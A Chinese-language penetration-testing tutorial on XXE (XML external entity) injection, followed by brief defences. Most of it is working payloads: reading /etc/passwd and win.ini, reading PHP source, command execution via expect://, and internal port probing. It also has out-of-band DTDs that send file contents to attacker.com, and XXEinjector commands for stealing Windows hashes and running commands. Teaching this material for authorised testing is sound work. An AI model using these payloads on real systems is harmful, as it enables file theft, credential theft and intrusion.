XXE从入门到精通
字数 1677 2025-08-22 12:23:42
XXE漏洞从入门到精通:全面解析与实战指南
一、XXE基础概念
1. 什么是XXE漏洞
XXE(XML External Entity)即XML外部实体注入漏洞,当应用程序在解析XML输入时,没有禁止外部实体的加载,攻击者可以构造恶意的XML文档,导致:
- 任意文件读取
- 命令执行
- 内网端口扫描
- 攻击内网网站
- 服务器端请求伪造(SSRF)
2. XML与DTD基础
XML(可扩展标记语言)是一种用于存储和传输数据的标记语言。DTD(文档类型定义)用于定义XML文档的结构。
基本XML文档结构:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!-- 定义内部实体 -->
<!ENTITY example "Hello World">
]>
<foo>&example;</foo>
二、XXE漏洞利用技术
1. 有回显XXE利用
1.1 文件读取
Windows系统读取文件:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<foo>&xxe;</foo>
Linux系统读取文件:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
1.2 使用CDATA读取特殊字符文件
当文件包含特殊字符(如<, &)时,使用CDATA区段:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">
<!ENTITY % then SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<foo>&all;</foo>
evil.dtd内容:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%then;%end;">
1.3 读取PHP源码
使用PHP过滤器读取并base64编码源码:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe_1.php">
]>
<foo>&xxe;</foo>
1.4 远程代码执行(需特定环境)
需要PHP expect扩展支持:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://whoami">
]>
<foo>&xxe;</foo>
1.5 内网端口探测
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">
]>
<foo>&xxe;</foo>
通过响应时间判断端口状态:
- 响应快:端口开放
- 响应慢或无响应:端口关闭
2. 无回显XXE利用
当没有直接回显时,使用带外数据(OOB)技术:
payload.xml:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://attacker.com/test.dtd">
%remote;
%out;
%send;
]>
test.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % out "<!ENTITY % send SYSTEM 'http://attacker.com/?p=%file;'>">
原理:
- 加载远程DTD文件
- DTD发起HTTP请求
- 将文件内容base64编码后通过HTTP请求发送到攻击者服务器
三、XXE利用工具:XXEinjector
1. 环境准备
- 安装Ruby环境
- 下载XXEinjector工具
2. 常用参数详解
| 参数 | 描述 | 示例 |
|---|---|---|
| --host | 必填,反向连接IP | --host=192.168.0.2 |
| --file | 必填,包含HTTP请求的XML文件 | --file=/tmp/req.txt |
| --path | 枚举目录时必填 | --path=/etc |
| --brute | 爆破时必填,字典路径 | --brute=/tmp/brute.txt |
| --oob | 带外利用方法 | --oob=http/ftp/gopher |
| --phpfilter | 使用PHP过滤器base64编码 | --phpfilter |
| --enumports | 枚举端口 | --enumports=21,22,80 |
| --hashes | 窃取Windows哈希 | --hashes |
| --expect | 执行系统命令 | --expect=ls |
| --upload | 上传文件 | --upload=/tmp/upload.txt |
| --ssl | 使用SSL | --ssl |
| --proxy | 使用代理 | --proxy=127.0.0.1:8080 |
3. 实用示例
- 枚举HTTPS应用中的/etc目录
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
- 使用gopher协议枚举目录
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
- 二次漏洞利用
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt
- 文件爆破攻击
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc
- 窃取Windows哈希
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
- 上传文件
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf
- 执行系统命令
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls
四、防御措施
-
禁用外部实体
- PHP:
libxml_disable_entity_loader(true); - Java: 设置
DocumentBuilderFactory的setExpandEntityReferences(false) - Python: 使用
defusedxml替代标准库
- PHP:
-
使用白名单验证输入
-
使用简单的数据格式如JSON替代XML
-
及时更新XML处理器
-
服务器配置
- 禁用不必要的协议(file://, http://, ftp://等)
五、总结
XXE漏洞危害严重,可导致信息泄露、系统入侵等后果。通过本文的学习,您应该掌握了:
- XXE的基本原理和利用方式
- 有回显和无回显XXE的攻击技术
- 使用XXEinjector工具进行自动化测试
- 有效的防御措施
在实际渗透测试中,请确保获得合法授权后再进行测试,遵守法律法规。